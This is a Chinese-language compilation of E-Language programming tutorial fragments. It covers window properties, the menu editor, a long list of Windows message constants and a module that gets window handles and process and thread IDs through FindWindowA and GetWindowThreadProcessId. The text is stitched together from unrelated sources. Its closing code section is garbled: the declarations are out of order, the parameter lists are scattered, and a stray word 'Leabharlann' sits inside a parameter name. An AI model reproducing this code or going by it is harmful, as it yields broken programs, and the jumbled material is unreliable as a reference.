改窗口的默认名称为 _启动窗口 , 即使什么都没做 , 程序也能正常在屏幕上显示一个空白窗口 . 并且利用这个最简单的程序我们就能了解窗口的常用属性 .3.2窗口的属性关于窗口的位置大小等属性 . 我们已经在上一章中讲解了 . 这里只是介绍其他与窗口有关的属性 . 这些属性的不同组合就能得到风格各异的窗口或者对话框1. 窗口标题设置窗口标题栏上的文字 , 该属性默认为空 . 属性值可以在程序运行时候改变 , 可以赋予一个固定字符串或者变量等 .读取和设置窗口属性可以用一下语法.详见第三章附带的“标题.e ”2. 边框样式对于窗口。
“边框” 属性决定了其主要外观特征。
即窗口是普通窗口还是工具窗口。
其数据类型为整数型一共提供一下可选属性值0、无边框1、普通可调边框2、普通固定边框3、窄标题可调边框4、窄标题固定边框5、镜框式可调边框6、镜框式固定边框详见第三章附带的“边框.e ”3. 控制按钮、最大化、最小化按钮控制按钮属性设置是否显示窗口上的所有控制按钮及窗口控制菜单用于显示和隐藏控制按钮(最小化,关闭和最大化 /还原。
详见第三章附带的“控制按钮.e ”4. 可否移动该属性是逻辑型属性。
易语言编辑框的使用
易语⾔编辑框的使⽤菜单编辑器使⽤详解2.设计菜单栏2.1启动菜单编辑器易语⾔的菜单编辑器是设计菜单栏的得⼒⼯具。
启动菜单编辑器⾮常简单,在窗⼝设计状态,点击⼯具菜单的“菜单编辑器”,3的菜单编辑器。
图3.菜单编辑器在窗⼝上单击右键,在弹出的右键菜单上点击菜单编辑器项来启动菜单编辑器更为⽅便。
2.3插⼊第⼆个菜单现在讲怎样在编辑菜单前⾯(即左边)插⼊⼀个“⽂件”菜单。
重新启动菜单编辑器,⽤⿏标点击⼤编辑框⾥的“编辑”⾏,“编辑”⾏出现⼀个蓝⾊,接着按照上⼀节的⽅法输⼊“打开”、“保存”、“退出”3个菜单项。
考虑到“退出”和上⾯两项不是同⼀类的菜单项,中间加⼀个分隔条。
分隔条的输⼊⽅法和其它菜单项⼀样,只要在标题编辑框输⼊⼀个减号“-”。
运⾏程序,看看效果。
见图5。
图5.带分隔条的菜单2.4增加热键和快捷键再启动菜单编辑器,编好的菜单⼜进⼊编辑状态。
热键字符可以⽤英⽂字母,也可⽤汉语拼⾳的第⼀个字母,如为“⽂件”菜单设置热键W,先把光标置于标题框“⽂件”2字的前⾯,依次输⼊“&、W、·”即可。
再⽤同样⽅法,为“打开”、“保存”、“退出”设置热键K、B、T”。
接着设置快捷键,菜单名不需要快捷键,选中⼀个菜单项,快捷键的可选列表在名称框下⾯,打开组合框有⼀个⼏⼗项的列表。
我们为“打开、保存、退出”分别选择为快捷键。
设置完后,就可⽣效,见图6所⽰。
图6.有热键和快捷键的菜单现在,菜单虽然设计好了,但是还不能使⽤,因为我们还没有“告诉”系统应该做什么。
1. 设计弹出式菜单弹出式菜单使⽤⽅便,右键⼀点,菜单弹出,很受欢迎(也叫也叫菜单)。
易语⾔设计设计弹出式菜单⾮常简单,只是把菜单栏的⼀个菜单设置为隐藏,让它在⼀定的区域内单击右键弹出。
现在我们把“编辑”菜单设置为编辑框内的弹出式菜单,当然先要在窗⼝上设置⼀个编辑框。
第⼀步,设置“编辑”菜单为不可视。
启动菜单编辑器,选中“编辑”⾏,⽤⿏标在“可辑”菜单就不可见了。
易语言Windows消息大全
易语言Windows消息大全WM_NULL = 0;WM_CREATE = 1;应用程序创建一个窗口WM_DESTROY = 2;一个窗口被销毁WM_MOVE = 3;移动一个窗口WM_SIZE = 5;改变一个窗口的大小WM_ACTIVATE = 6;一个窗口被激活或失去激活状态;WM_SETFOCUS = 7;获得焦点后WM_KILLFOCUS = 8;失去焦点WM_ENABLE = 10;改变enable状态WM_SETREDRAW = 11;设置窗口是否能重画WM_SETTEXT = 12;应用程序发送此消息来设置一个窗口的文本WM_GETTEXT = 13;应用程序发送此消息来复制对应窗口的文本到缓冲区WM_GETTEXTLENGTH = 14;得到与一个窗口有关的文本的长度(不包含空字符)WM_PAINT = 15;要求一个窗口重画自己WM_CLOSE = 16;当一个窗口或应用程序要关闭时发送一个信号WM_QUERYENDSESSION = 17;当用户选择结束对话框或程序自己调用ExitWindows函数WM_QUIT = 18;用来结束程序运行或当程序调用postquitmessage函数WM_QUERYOPEN = 19;当用户窗口恢复以前的大小位置时,把此消息发送给某个图标WM_ERASEBKGND = 20;当窗口背景必须被擦除时(例在窗口改变大小时)WM_SYSCOLORCHANGE = 21;当系统颜色改变时,发送此消息给所有顶级窗口WM_ENDSESSION = 22;当系统进程发出WM_QUERYENDSESSION消息后,此消息发送给应用程序,通知它对话是否结束WM_SYSTEMERROR = 23;WM_SHOWWINDOW = 24;当隐藏或显示窗口是发送此消息给这个窗口WM_ACTIVATEAPP = 28;发此消息给应用程序哪个窗口是激活的,哪个是非激活的;WM_FONTCHANGE = 29;当系统的字体资源库变化时发送此消息给所有顶级窗口WM_TIMECHANGE = 30;当系统的时间变化时发送此消息给所有顶级窗口WM_CANCELMODE = 31;发送此消息来取消某种正在进行的摸态(操作)WM_SETCURSOR = 32;如果鼠标引起光标在某个窗口中移动且鼠标输入没有被捕获时,就发消息给某个窗口WM_MOUSEACTIVATE = 33;当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口WM_CHILDACTIVATE = 34;发送此消息给MDI子窗口当用户点击此窗口的标题栏,或当窗口被激活,移动,改变大小WM_QUEUESYNC = 35;此消息由基于计算机的训练程序发送,通过WH_JOURNALPALYBACK的hook程序分离出用户输入消息WM_GETMINMAXINFO = 36;此消息发送给窗口当它将要改变大小或位置;WM_PAINTICON = 38;发送给最小化窗口当它图标将要被重画WM_ICONERASEBKGND = 39;此消息发送给某个最小化窗口,仅当它在画图标前它的背景必须被重画WM_NEXTDLGCTL = 40;发送此消息给一个对话框程序去更改焦点位置WM_SPOOLERSTATUS = 42;每当打印管理列队增加或减少一条作业时发出此消息WM_DRAWITEM = 43;当button,combobox,listbox,menu的可视外观改变时发送此消息给这些空件的所有者WM_MEASUREITEM = 44;当button, combo box, list box, list view control, or menu item 被创建时发送此消息给控件的所有者WM_DELETEITEM = 45;当the list box 或 combo box 被销毁或当某些项被删除通过LB_DELETESTRING, LB_RESETCONTENT, CB_DELETESTRING, orCB_RESETCONTENT 消息WM_VKEYTOITEM = 46;此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息WM_CHARTOITEM = 47;此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息WM_SETFONT = 48;当绘制文本时程序发送此消息得到控件要用的颜色WM_GETFONT = 49;应用程序发送此消息得到当前控件绘制文本的字体WM_SETHOTKEY = 50;应用程序发送此消息让一个窗口与一个热键相关连WM_GETHOTKEY = 51;应用程序发送此消息来判断热键与某个窗口是否有关联WM_QUERYDRAGICON = 55;此消息发送给最小化窗口,当此窗口将要被拖放而它的类中没有定义图标,应用程序能返回一个图标或光标的句柄,当用户拖放图标时系统显示这个图标或光标WM_COMPAREITEM = 57;发送此消息来判定combobox或listbox新增加的项的相对位置WM_GETOBJECT = 61;WM_COMPACTING = 65;显示内存已经很少了WM_WINDOWPOSCHANGING = 70;发送此消息给那个窗口的大小和位置将要被改变时,来调用setwindowpos函数或其它窗口管理函数WM_WINDOWPOSCHANGED = 71;发送此消息给那个窗口的大小和位置已经被改变时,来调用setwindowpos函数或其它窗口管理函数WM_POWER = 72;(适用于16位的windows)当系统将要进入暂停状态时发送此消息WM_COPYDATA = 74;当一个应用程序传递数据给另一个应用程序时发送此消息WM_CANCELJOURNAL = 75;当某个用户取消程序日志激活状态,提交此消息给程序WM_NOTIFY = 78;当某个控件的某个事件已经发生或这个控件需要得到一些信息时,发送此消息给它的父窗口WM_INPUTLANGCHANGEREQUEST = 80;当用户选择某种输入语言,或输入语言的热键改变WM_INPUTLANGCHANGE = 81;当平台现场已经被改变后发送此消息给受影响的最顶级窗口WM_TCARD = 82;当程序已经初始化windows帮助例程时发送此消息给应用程序WM_HELP = 83;此消息显示用户按下了F1,如果某个菜单是激活的,就发送此消息个此窗口关联的菜单,否则就发送给有焦点的窗口,如果当前都没有焦点,就把此消息发送给当前激活的窗口WM_USERCHANGED = 84;当用户已经登入或退出后发送此消息给所有的窗口,当用户登入或退出时系统更新用户的具体设置信息,在用户更新设置时系统马上发送此消息;WM_NOTIFYFORMAT = 85;公用控件,自定义控件和他们的父窗口通过此消息来判断控件是使用ANSI还是UNICODE结构在WM_NOTIFY消息,使用此控件能使某个控件与它的父控件之间进行相互通信WM_CONTEXTMENU = 123;当用户某个窗口中点击了一下右键就发送此消息给这个窗口WM_STYLECHANGING = 124;当调用SETWINDOWLONG函数将要改变一个或多个窗口的风格时发送此消息给那个窗口WM_STYLECHANGED = 125;当调用SETWINDOWLONG函数一个或多个窗口的风格后发送此消息给那个窗口WM_DISPLAYCHANGE = 126;当显示器的分辨率改变后发送此消息给所有的窗口WM_GETICON = 127;此消息发送给某个窗口来返回与某个窗口有关连的大图标或小图标的句柄;WM_SETICON = 128;程序发送此消息让一个新的大图标或小图标与某个窗口关联;WM_NCCREATE = 129;当某个窗口第一次被创建时,此消息在WM_CREATE消息发送前发送;WM_NCDESTROY = 130;此消息通知某个窗口,非客户区正在销毁WM_NCCALCSIZE = 131;当某个窗口的客户区域必须被核算时发送此消息WM_NCHITTEST = 132;//移动鼠标,按住或释放鼠标时发生WM_NCPAINT = 133;程序发送此消息给某个窗口当它(窗口)的框架必须被绘制时;WM_NCACTIVATE = 134;此消息发送给某个窗口仅当它的非客户区需要被改变来显示是激活还是非激活状态;WM_GETDLGCODE = 135;发送此消息给某个与对话框程序关联的控件,widdows控制方位键和TAB键使输入进入此控件通过响应WM_GETDLGCODE消息,应用程序可以把他当成一个特殊的输入控件并能处理它WM_NCMOUSEMOVE = 160;当光标在一个窗口的非客户区内移动时发送此消息给这个窗口//非客户区为:窗体的标题栏及窗的边框体WM_NCLBUTTONDOWN = 161;当光标在一个窗口的非客户区同时按下鼠标左键时提交此消息WM_NCLBUTTONUP = 162;当用户释放鼠标左键同时光标某个窗口在非客户区十发送此消息;WM_NCLBUTTONDBLCLK = 163;当用户双击鼠标左键同时光标某个窗口在非客户区十发送此消息WM_NCRBUTTONDOWN = 164;当用户按下鼠标右键同时光标又在窗口的非客户区时发送此消息WM_NCRBUTTONUP = 165;当用户释放鼠标右键同时光标又在窗口的非客户区时发送此消息WM_NCRBUTTONDBLCLK = 166;当用户双击鼠标右键同时光标某个窗口在非客户区十发送此消息WM_NCMBUTTONDOWN = 167;当用户按下鼠标中键同时光标又在窗口的非客户区时发送此消息WM_NCMBUTTONUP = 168;当用户释放鼠标中键同时光标又在窗口的非客户区时发送此消息WM_NCMBUTTONDBLCLK = 169;当用户双击鼠标中键同时光标又在窗口的非客户区时发送此消息WM_KEYFIRST = 256;WM_KEYDOWN = 256;//按下一个键WM_KEYUP = 257;//释放一个键WM_CHAR = 258;//按下某键,并已发出WM_KEYDOWN, WM_KEYUP消息WM_DEADCHAR = 259;当用translatemessage函数翻译WM_KEYUP消息时发送此消息给拥有焦点的窗口WM_SYSKEYDOWN = 260;当用户按住ALT键同时按下其它键时提交此消息给拥有焦点的窗口;WM_SYSKEYUP = 261;当用户释放一个键同时ALT 键还按着时提交此消息给拥有焦点的窗口WM_SYSCHAR = 262;当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后提交此消息给拥有焦点的窗口WM_SYSDEADCHAR = 263;当WM_SYSKEYDOWN消息被TRANSLATEMESSAGE函数翻译后发送此消息给拥有焦点的窗口WM_KEYLAST = 264;WM_INITDIALOG = 272;在一个对话框程序被显示前发送此消息给它,通常用此消息初始化控件和执行其它任务WM_COMMAND = 273;当用户选择一条菜单命令项或当某个控件发送一条消息给它的父窗口,一个快捷键被翻译WM_SYSCOMMAND = 274;当用户选择窗口菜单的一条命令或当用户选择最大化或最小化时那个窗口会收到此消息WM_TIMER = 275; //发生了定时器事件WM_HSCROLL = 276;当一个窗口标准水平滚动条产生一个滚动事件时发送此消息给那个窗口,也发送给拥有它的控件WM_VSCROLL = 277;当一个窗口标准垂直滚动条产生一个滚动事件时发送此消息给那个窗口也,发送给拥有它的控件 WM_INITMENU = 278;当一个菜单将要被激活时发送此消息,它发生在用户菜单条中的某项或按下某个菜单键,它允许程序在显示前更改菜单WM_INITMENUPOPUP = 279;当一个下拉菜单或子菜单将要被激活时发送此消息,它允许程序在它显示前更改菜单,而不要改变全部WM_MENUSELECT = 287;当用户选择一条菜单项时发送此消息给菜单的所有者(一般是窗口)WM_MENUCHAR = 288;当菜单已被激活用户按下了某个键(不同于加速键),发送此消息给菜单的所有者;WM_ENTERIDLE = 289;当一个模态对话框或菜单进入空载状态时发送此消息给它的所有者,一个模态对话框或菜单进入空载状态就是在处理完一条或几条先前的消息后没有消息它的列队中等待WM_MENURBUTTONUP = 290;WM_MENUDRAG = 291;WM_MENUGETOBJECT = 292;WM_UNINITMENUPOPUP = 293;WM_MENUCOMMAND = 294;WM_CHANGEUISTATE = 295;WM_UPDATEUISTATE = 296;WM_QUERYUISTATE = 297;WM_CTLCOLORMSGBOX = 306;在windows绘制消息框前发送此消息给消息框的所有者窗口,通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置消息框的文本和背景颜色WM_CTLCOLOREDIT = 307;当一个编辑型控件将要被绘制时发送此消息给它的父窗口;通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置编辑框的文本和背景颜色WM_CTLCOLORLISTBOX = 308;当一个列表框控件将要被绘制前发送此消息给它的父窗口;通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置列表框的文本和背景颜色WM_CTLCOLORBTN = 309;当一个按钮控件将要被绘制时发送此消息给它的父窗口;通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置按纽的文本和背景颜色WM_CTLCOLORDLG = 310;当一个对话框控件将要被绘制前发送此消息给它的父窗口;通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置对话框的文本背景颜色WM_CTLCOLORSCROLLBAR= 311;当一个滚动条控件将要被绘制时发送此消息给它的父窗口;通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置滚动条的背景颜色WM_CTLCOLORSTATIC = 312;当一个静态控件将要被绘制时发送此消息给它的父窗口;通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置静态控件的文本和背景颜色WM_MOUSEFIRST = 512;WM_MOUSEMOVE = 512;// 移动鼠标WM_LBUTTONDOWN = 513;//按下鼠标左键WM_LBUTTONUP = 514;//释放鼠标左键WM_LBUTTONDBLCLK = 515;//双击鼠标左键WM_RBUTTONDOWN = 516;//按下鼠标右键WM_RBUTTONUP = 517;//释放鼠标右键WM_RBUTTONDBLCLK = 518;//双击鼠标右键WM_MBUTTONDOWN = 519;//按下鼠标中键WM_MBUTTONUP = 520;//释放鼠标中键WM_MBUTTONDBLCLK = 521;//双击鼠标中键WM_MOUSEWHEEL = 522;当鼠标轮子转动时发送此消息个当前有焦点的控件WM_MOUSELAST = 522;WM_PARENTNOTIFY = 528;当MDI子窗口被创建或被销毁,或用户按了一下鼠标键而光标在子窗口上时发送此消息给它的父窗口WM_ENTERMENULOOP = 529;发送此消息通知应用程序的主窗口that已经进入了菜单循环模式WM_EXITMENULOOP = 530;发送此消息通知应用程序的主窗口that已退出了菜单循环模式WM_NEXTMENU = 531;WM_SIZING = 532;当用户正在调整窗口大小时发送此消息给窗口;通过此消息应用程序可以监视窗口大小和位置也可以修改他们WM_CAPTURECHANGED = 533;发送此消息给窗口当它失去捕获的鼠标时;WM_MOVING = 534;当用户在移动窗口时发送此消息,通过此消息应用程序可以监视窗口大小和位置也可以修改他们;WM_POWERBROADCAST = 536;此消息发送给应用程序来通知它有关电源管理事件;WM_DEVICECHANGE = 537;当设备的硬件配置改变时发送此消息给应用程序或设备驱动程序WM_IME_STARTCOMPOSITION = 269;WM_IME_ENDCOMPOSITION = 270;WM_IME_COMPOSITION = 271;WM_IME_KEYLAST = 271;WM_IME_SETCONTEXT = 641;WM_IME_NOTIFY = 642;WM_IME_CONTROL = 643;WM_IME_COMPOSITIONFULL = 644;WM_IME_SELECT = 645;WM_IME_CHAR = 646;WM_IME_REQUEST = 648;WM_IME_KEYDOWN = 656;WM_IME_KEYUP = 657;WM_MDICREATE = 544;应用程序发送此消息给多文档的客户窗口来创建一个MDI 子窗口WM_MDIDESTROY = 545;应用程序发送此消息给多文档的客户窗口来关闭一个MDI 子窗口WM_MDIACTIVATE = 546;应用程序发送此消息给多文档的客户窗口通知客户窗口激活另一个MDI子窗口,当客户窗口收到此消息后,它发出WM_MDIACTIVE 消息给MDI子窗口(未激活)激活它;WM_MDIRESTORE = 547;程序发送此消息给MDI客户窗口让子窗口从最大最小化恢复到原来大小WM_MDINEXT = 548;程序发送此消息给MDI客户窗口激活下一个或前一个窗口WM_MDIMAXIMIZE = 549;程序发送此消息给MDI客户窗口来最大化一个MDI子窗口;WM_MDITILE = 550;程序发送此消息给MDI客户窗口以平铺方式重新排列所有MDI 子窗口WM_MDICASCADE = 551;程序发送此消息给MDI客户窗口以层叠方式重新排列所有MDI 子窗口WM_MDIICONARRANGE = 552;程序发送此消息给MDI客户窗口重新排列所有最小化的MDI子窗口WM_MDIGETACTIVE = 553;程序发送此消息给MDI客户窗口来找到激活的子窗口的句柄WM_MDISETMENU = 560;程序发送此消息给MDI客户窗口用MDI菜单代替子窗口的菜单WM_ENTERSIZEMOVE = 561;WM_EXITSIZEMOVE = 562;WM_DROPFILES = 563;WM_MDIREFRESHMENU = 564;WM_MOUSEHOVER = 673;WM_MOUSELEAVE = 675;WM_CUT = 768;程序发送此消息给一个编辑框或combobox来删除当前选择的文本WM_COPY = 769;程序发送此消息给一个编辑框或combobox来复制当前选择的文本到剪贴板WM_PASTE = 770;程序发送此消息给editcontrol或combobox从剪贴板中得到数据WM_CLEAR = 771;程序发送此消息给editcontrol或combobox清除当前选择的内容;WM_UNDO = 772;程序发送此消息给editcontrol或combobox撤消最后一次操作WM_RENDERFORMAT = 773;WM_DESTROYCLIPBOARD = 775;当调用ENPTYCLIPBOARD函数时发送此消息给剪贴板的所有者WM_DRAWCLIPBOARD = 776;当剪贴板的内容变化时发送此消息给剪贴板观察链的第一个窗口;它允许用剪贴板观察窗口来显示剪贴板的新内容;WM_PAINTCLIPBOARD = 777;当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区需要重画;WM_VSCROLLCLIPBOARD = 778;WM_SIZECLIPBOARD = 779;当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区域的大小已经改变是此消息通过剪贴板观察窗口发送给剪贴板的所有者;WM_ASKCBFORMATNAME = 780;通过剪贴板观察窗口发送此消息给剪贴板的所有者来请求一个CF_OWNERDISPLAY格式的剪贴板的名字WM_CHANGECBCHAIN = 781;当一个窗口从剪贴板观察链中移去时发送此消息给剪贴板观察链的第一个窗口;WM_HSCROLLCLIPBOARD = 782;此消息通过一个剪贴板观察窗口发送给剪贴板的所有者;它发生在当剪贴板包含CFOWNERDISPALY格式的数据并且有个事件在剪贴板观察窗的水平滚动条上;所有者应滚动剪贴板图象并更新滚动条的值;WM_QUERYNEWPALETTE = 783;此消息发送给将要收到焦点的窗口,此消息能使窗口在收到焦点时同时有机会实现他的逻辑调色板WM_PALETTEISCHANGING= 784;当一个应用程序正要实现它的逻辑调色板时发此消息通知所有的应用程序WM_PALETTECHANGED = 785;此消息在一个拥有焦点的窗口实现它的逻辑调色板后发送此消息给所有顶级并重叠的窗口,以此来改变系统调色板WM_HOTKEY = 786;当用户按下由REGISTERHOTKEY函数注册的热键时提交此消息WM_PRINT = 791;应用程序发送此消息仅当WINDOWS或其它应用程序发出一个请求要求绘制一个应用程序的一部分;WM_PRINTCLIENT = 792;WM_HANDHELDFIRST = 856;WM_HANDHELDLAST = 863;WM_PENWINFIRST = 896;WM_PENWINLAST = 911;WM_COALESCE_FIRST = 912;WM_COALESCE_LAST = 927;WM_DDE_FIRST = 992;WM_DDE_INITIATE = WM_DDE_FIRST + 0;一个DDE客户程序提交此消息开始一个与服务器程序的会话来响应那个指定的程序和主题名;WM_DDE_TERMINATE = WM_DDE_FIRST + 1;一个DDE应用程序(无论是客户还是服务器)提交此消息来终止一个会话;WM_DDE_ADVISE = WM_DDE_FIRST + 2;一个DDE客户程序提交此消息给一个DDE服务程序来请求服务器每当数据项改变时更新它WM_DDE_UNADVISE = WM_DDE_FIRST + 3;一个DDE客户程序通过此消息通知一个DDE服务程序不更新指定的项或一个特殊的剪贴板格式的项WM_DDE_ACK = WM_DDE_FIRST + 4;此消息通知一个DDE(动态数据交换)程序已收到并正在处理WM_DDE_POKE, WM_DDE_EXECUTE, WM_DDE_DATA, WM_DDE_ADVISE, WM_DDE_UNADVISE, or WM_DDE_INITIAT消息WM_DDE_DATA = WM_DDE_FIRST + 5;一个DDE服务程序提交此消息给DDE客户程序来传递个一数据项给客户或通知客户的一条可用数据项WM_DDE_REQUEST = WM_DDE_FIRST + 6;一个DDE客户程序提交此消息给一个DDE服务程序来请求一个数据项的值;WM_DDE_POKE = WM_DDE_FIRST + 7;一个DDE客户程序提交此消息给一个DDE服务程序,客户使用此消息来请求服务器接收一个未经同意的数据项;服务器通过答复WM_DDE_ACK消息提示是否它接收这个数据项;WM_DDE_EXECUTE = WM_DDE_FIRST + 8;一个DDE客户程序提交此消息给一个DDE服务程序来发送一个字符串给服务器让它象串行命令一样被处理,服务器通过提交WM_DDE_ACK消息来作回应;WM_DDE_LAST = WM_DDE_FIRST + 8;WM_APP = 32768;WM_USER = 1024;此消息能帮助应用程序自定义私有消息;。
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.版本 2
.子程序 取窗口句柄, 整数型, 公开
.参数 窗口类Leabharlann , 文本型 .参数 窗口标题, 文本型
.局部变量 窗口句柄, 整数型
窗口句柄 = 寻找顶级窗口_ (窗口类名, 窗口标题)
返回 (窗口句柄)
.子程序 取线程ID, 整数型, 公开
.参数 窗口句柄, 整数型
.局部变量 进程ID, 整数型
.DLL命令 取进程线程标识符_, 整数型, "user32.dll", "GetWindowThreadProcessId", , , GetWindowThreadProcessId,获取与指定窗口关联在一起的一个线程和进程标识符
.参数 窗口句柄, 整数型, , hwnd,指定窗口句柄
.参数 窗口类名, 文本型, , lpClassName,参见相关帮助
.参数 窗口文本, 文本型, , lpWindowName,参见相关帮助
此处的DLL命令可以通过网上下载易语言伴侣API助手里面可以获得
.局部变量 线程ID, 整数型
线程ID = 取进程线程标识符_ (窗口句柄, 进程ID)
返回 (线程ID)
.子程序 取进程ID, 整数型, 公开
.参数 窗口句柄, 整数型
.局部变量 进程ID, 整数型
取进程线程标识符_ (窗口句柄, 进程ID)
返回 (进程ID)
.版本 2
参数<1>的名称为“进程标识符”,类型为“整数型(int)”,可以被省略。要取得正在使用DLL列表的进程标识符。置-1则取所有正在使用DLL列表。
操作系统需求: Windows
此命令是取得所有正在使用的“进程数据”
很多人喜欢理由API做成模块来使用,下面3个利用VPI来制作的模块适合新手使用和理解
.参数 进程标识符, 整数型, 传址, lpdwProcessId,指定一个变量,用于装载拥有那个窗口的一个进程的标识符,传址要打钩不然获取不到
.DLL命令 寻找顶级窗口_, 整数型, "user32.dll", "FindWindowA", , , FindWindow,寻找窗口列表中第一个符合指定条件的顶级窗口
此命令是利用鼠标移动到“窗口”来取得该窗口句柄
取进程ID同样有多钟方式:易语言里面的 取正在使用DLL列表 ()
调用格式: 〈文本型数组〉 取正在使用DLL列表 ([整数型 进程标识符]) - 应用接口支持库->系统处理
英文名称:GetDllList
取所有正在使用的DLL列表。成功返回DLL列表数组;失败返回空。本命令为初级命令。
取窗口句柄有很多种方式:易语言里面的 取鼠标所在窗口句柄 ()
调用格式: 〈整数型〉 取鼠标所在窗口句柄 () - 应用接口支持库->窗口操作
英文名称:GetHwndFromPoint
取鼠标所在窗口句柄。本命令为初级命令。
操作系统需求: Windows